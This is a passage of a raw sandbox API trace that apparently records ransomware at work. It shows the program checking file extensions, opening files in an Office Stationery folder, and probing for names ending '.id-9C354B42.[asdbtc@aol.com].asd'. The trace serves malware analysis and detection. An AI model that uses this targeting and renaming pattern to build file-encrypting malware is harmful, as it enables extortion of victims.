lstrlenW (lpString=".xls") returned 4 [0052.231] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.231] lstrlenW (lpString=".xlsx") returned 5 [0052.231] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.231] lstrlenW (lpString=".ppt") returned 4 [0052.231] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.231] lstrlenW (lpString=".zip") returned 4 [0052.231] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.231] lstrlenW (lpString=".rar") returned 4 [0052.231] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString=".bz2") returned 4 [0052.232] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString=".7z") returned 3 [0052.232] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.232] lstrlenW (lpString=".dbf") returned 4 [0052.232] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.232] lstrlenW (lpString=".1cd") returned 4 [0052.232] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.232] lstrlenW (lpString=".jpg") returned 4 [0052.232] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.232] lstrlenW (lpString=".doc") returned 4 [0052.232] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString=".docx") returned 5 [0052.232] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0052.232] lstrlenW (lpString=".pdf") returned 4 [0052.232] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString=".xls") returned 4 [0052.232] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString=".xlsx") returned 5 [0052.232] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0052.232] lstrlenW (lpString=".ppt") returned 4 [0052.232] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0052.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.232] lstrlenW (lpString=".zip") returned 4 [0052.232] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0052.232] lstrlenW (lpString=".rar") returned 4 [0052.233] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0052.233] lstrlenW (lpString=".bz2") returned 4 [0052.233] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0052.233] lstrlenW (lpString=".7z") returned 3 [0052.233] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.233] lstrlenW (lpString=".dbf") returned 4 [0052.233] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.233] lstrlenW (lpString=".1cd") returned 4 [0052.233] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0052.233] lstrlenW (lpString=".jpg") returned 4 [0052.233] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0052.233] lstrcmpiW (lpString1=".htm", lpString2=".asd") returned 1 [0052.233] lstrlenW (lpString="Bears.htm") returned 9 [0052.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.235] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=255) returned 1 [0052.235] CloseHandle (hObject=0x188) returned 1 [0052.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0052.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.235] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.236] lstrlenW (lpString=".doc") returned 4 [0052.236] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0052.236] lstrlenW (lpString=".docx") returned 5 [0052.236] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0052.236] lstrlenW (lpString=".pdf") returned 4 [0052.236] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0052.236] lstrlenW (lpString=".xls") returned 4 [0052.236] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0052.236] lstrlenW (lpString=".xlsx") returned 5 [0052.236] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0052.236] lstrlenW (lpString=".ppt") returned 4 [0052.236] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0052.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.236] lstrlenW (lpString=".zip") returned 4 [0052.236] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0052.236] lstrlenW (lpString=".rar") returned 4 [0052.236] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0052.236] lstrlenW (lpString=".bz2") returned 4 [0052.236] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0052.236] lstrlenW (lpString=".7z") returned 3 [0052.236] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0052.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.237] lstrlenW (lpString=".dbf") returned 4 [0052.237] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0052.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.237] lstrlenW (lpString=".1cd") returned 4 [0052.237] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0052.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.237] lstrlenW (lpString=".jpg") returned 4 [0052.237] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0052.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.237] lstrlenW (lpString=".doc") returned 4 [0052.237] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0052.237] lstrlenW (lpString=".docx") returned 5 [0052.237] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0052.237] lstrlenW (lpString=".pdf") returned 4 [0052.237] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0052.237] lstrlenW (lpString=".xls") returned 4 [0052.237] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0052.238] lstrlenW (lpString=".xlsx") returned 5 [0052.238] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0052.238] lstrlenW (lpString=".ppt") returned 4 [0052.238] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.238] lstrlenW (lpString=".zip") returned 4 [0052.238] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0052.238] lstrlenW (lpString=".rar") returned 4 [0052.238] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0052.238] lstrlenW (lpString=".bz2") returned 4 [0052.238] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0052.238] lstrlenW (lpString=".7z") returned 3 [0052.238] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.238] lstrlenW (lpString=".dbf") returned 4 [0052.238] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.238] lstrlenW (lpString=".1cd") returned 4 [0052.238] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0052.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0052.238] lstrlenW (lpString=".jpg") returned 4 [0052.238] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0052.238] lstrcmpiW (lpString1=".jpg", lpString2=".asd") returned 1 [0052.238] lstrlenW (lpString="Bears.jpg") returned 9 [0052.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.239] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1074) returned 1 [0052.239] CloseHandle (hObject=0x188) returned 1 [0052.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0052.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.239] lstrlenW (lpString=".doc") returned 4 [0052.239] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0052.239] lstrlenW (lpString=".docx") returned 5 [0052.239] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0052.239] lstrlenW (lpString=".pdf") returned 4 [0052.239] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0052.239] lstrlenW (lpString=".xls") returned 4 [0052.239] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0052.239] lstrlenW (lpString=".xlsx") returned 5 [0052.239] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0052.239] lstrlenW (lpString=".ppt") returned 4 [0052.239] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0052.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString=".zip") returned 4 [0052.240] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0052.240] lstrlenW (lpString=".rar") returned 4 [0052.240] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0052.240] lstrlenW (lpString=".bz2") returned 4 [0052.240] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0052.240] lstrlenW (lpString=".7z") returned 3 [0052.240] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString=".dbf") returned 4 [0052.240] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString=".1cd") returned 4 [0052.240] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString=".jpg") returned 4 [0052.240] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0052.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString=".doc") returned 4 [0052.240] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0052.240] lstrlenW (lpString=".docx") returned 5 [0052.240] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0052.240] lstrlenW (lpString=".pdf") returned 4 [0052.240] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0052.240] lstrlenW (lpString=".xls") returned 4 [0052.240] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0052.240] lstrlenW (lpString=".xlsx") returned 5 [0052.240] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0052.240] lstrlenW (lpString=".ppt") returned 4 [0052.240] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0052.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.240] lstrlenW (lpString=".zip") returned 4 [0052.241] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0052.241] lstrlenW (lpString=".rar") returned 4 [0052.241] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0052.241] lstrlenW (lpString=".bz2") returned 4 [0052.241] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0052.241] lstrlenW (lpString=".7z") returned 3 [0052.241] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0052.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.241] lstrlenW (lpString=".dbf") returned 4 [0052.241] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0052.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.241] lstrlenW (lpString=".1cd") returned 4 [0052.241] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0052.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0052.241] lstrlenW (lpString=".jpg") returned 4 [0052.241] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0052.241] lstrcmpiW (lpString1=".jpg", lpString2=".asd") returned 1 [0052.241] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 [0052.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.242] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=2575) returned 1 [0052.242] CloseHandle (hObject=0x188) returned 1 [0052.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20 [0052.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.242] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.243] lstrlenW (lpString=".doc") returned 4 [0052.243] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0052.243] lstrlenW (lpString=".docx") returned 5 [0052.243] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0052.243] lstrlenW (lpString=".pdf") returned 4 [0052.243] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0052.243] lstrlenW (lpString=".xls") returned 4 [0052.243] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0052.243] lstrlenW (lpString=".xlsx") returned 5 [0052.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0052.243] lstrlenW (lpString=".ppt") returned 4 [0052.243] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0052.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.243] lstrlenW (lpString=".zip") returned 4 [0052.243] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0052.243] lstrlenW (lpString=".rar") returned 4 [0052.243] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0052.243] lstrlenW (lpString=".bz2") returned 4 [0052.243] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0052.243] lstrlenW (lpString=".7z") returned 3 [0052.243] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0052.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.243] lstrlenW (lpString=".dbf") returned 4 [0052.243] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0052.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.243] lstrlenW (lpString=".1cd") returned 4 [0052.243] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0052.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.243] lstrlenW (lpString=".jpg") returned 4 [0052.243] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0052.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.244] lstrlenW (lpString=".doc") returned 4 [0052.244] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0052.244] lstrlenW (lpString=".docx") returned 5 [0052.244] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1 [0052.244] lstrlenW (lpString=".pdf") returned 4 [0052.244] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0052.244] lstrlenW (lpString=".xls") returned 4 [0052.244] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0052.244] lstrlenW (lpString=".xlsx") returned 5 [0052.244] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1 [0052.244] lstrlenW (lpString=".ppt") returned 4 [0052.244] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.244] lstrlenW (lpString=".zip") returned 4 [0052.244] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0052.244] lstrlenW (lpString=".rar") returned 4 [0052.244] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0052.244] lstrlenW (lpString=".bz2") returned 4 [0052.244] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0052.244] lstrlenW (lpString=".7z") returned 3 [0052.244] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.244] lstrlenW (lpString=".dbf") returned 4 [0052.244] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.244] lstrlenW (lpString=".1cd") returned 4 [0052.244] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75 [0052.244] lstrlenW (lpString=".jpg") returned 4 [0052.244] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0052.245] lstrcmpiW (lpString1=".gif", lpString2=".asd") returned 1 [0052.245] lstrlenW (lpString="Cave_Drawings.gif") returned 17 [0052.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.245] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=4587) returned 1 [0052.245] CloseHandle (hObject=0x188) returned 1 [0052.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20 [0052.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.245] lstrlenW (lpString=".doc") returned 4 [0052.245] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0052.245] lstrlenW (lpString=".docx") returned 5 [0052.245] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0052.245] lstrlenW (lpString=".pdf") returned 4 [0052.245] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString=".xls") returned 4 [0052.246] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString=".xlsx") returned 5 [0052.246] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0052.246] lstrlenW (lpString=".ppt") returned 4 [0052.246] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.246] lstrlenW (lpString=".zip") returned 4 [0052.246] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString=".rar") returned 4 [0052.246] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString=".bz2") returned 4 [0052.246] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0052.246] lstrlenW (lpString=".7z") returned 3 [0052.246] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.246] lstrlenW (lpString=".dbf") returned 4 [0052.246] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.246] lstrlenW (lpString=".1cd") returned 4 [0052.246] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.246] lstrlenW (lpString=".jpg") returned 4 [0052.246] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.246] lstrlenW (lpString=".doc") returned 4 [0052.246] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0052.246] lstrlenW (lpString=".docx") returned 5 [0052.246] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1 [0052.246] lstrlenW (lpString=".pdf") returned 4 [0052.246] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0052.246] lstrlenW (lpString=".xls") returned 4 [0052.247] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0052.247] lstrlenW (lpString=".xlsx") returned 5 [0052.247] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1 [0052.247] lstrlenW (lpString=".ppt") returned 4 [0052.247] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0052.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75 [0052.247] lstrlenW (lpString=".zip") returned 4 [0052.247] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0052.247] lstrlenW (lpString=".rar") returned 4 [0052.247] lstrcmpiW 